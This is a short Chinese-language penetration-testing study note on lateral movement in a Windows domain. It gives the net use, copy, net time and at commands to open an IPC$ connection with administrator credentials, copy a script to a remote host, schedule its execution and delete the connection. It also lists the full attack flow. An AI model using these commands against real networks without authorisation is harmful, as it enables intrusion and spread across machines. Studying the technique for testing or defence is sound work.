内网渗透—域横向移动

1.计划任务
windows两种命令行创建计划任务：at和schtasks。
适用系统：
at：<windows2012
schtasks:>=windows2012

2.IPC
建立IPC连接：net use \\ip地址\ipc$ "password" /user:"administrator"
通过IPC传文件：copy 文件名 \\IP地址\目录$
查看对方电脑时间：net time \\IP地址
定时运行程序：at \\IP地址 时间 文件名
断开IPC连接：net use \\IP地址 /del

建立IPC失败的原因：
*目标系统不是windows NT或以上的操作系统
*对方没有打开IPC$共享
*对方未开启139,445端口，或者被防火墙屏蔽
*输出命令，账号密码有错误

3.利用流程
①.建立IPC链接到目标主机
②.拷贝要执行的命令脚本到目标主机
③.查看目标时间，创建计划任务（at、schtasks）定时执行拷贝到的脚本
④.删除IPC链接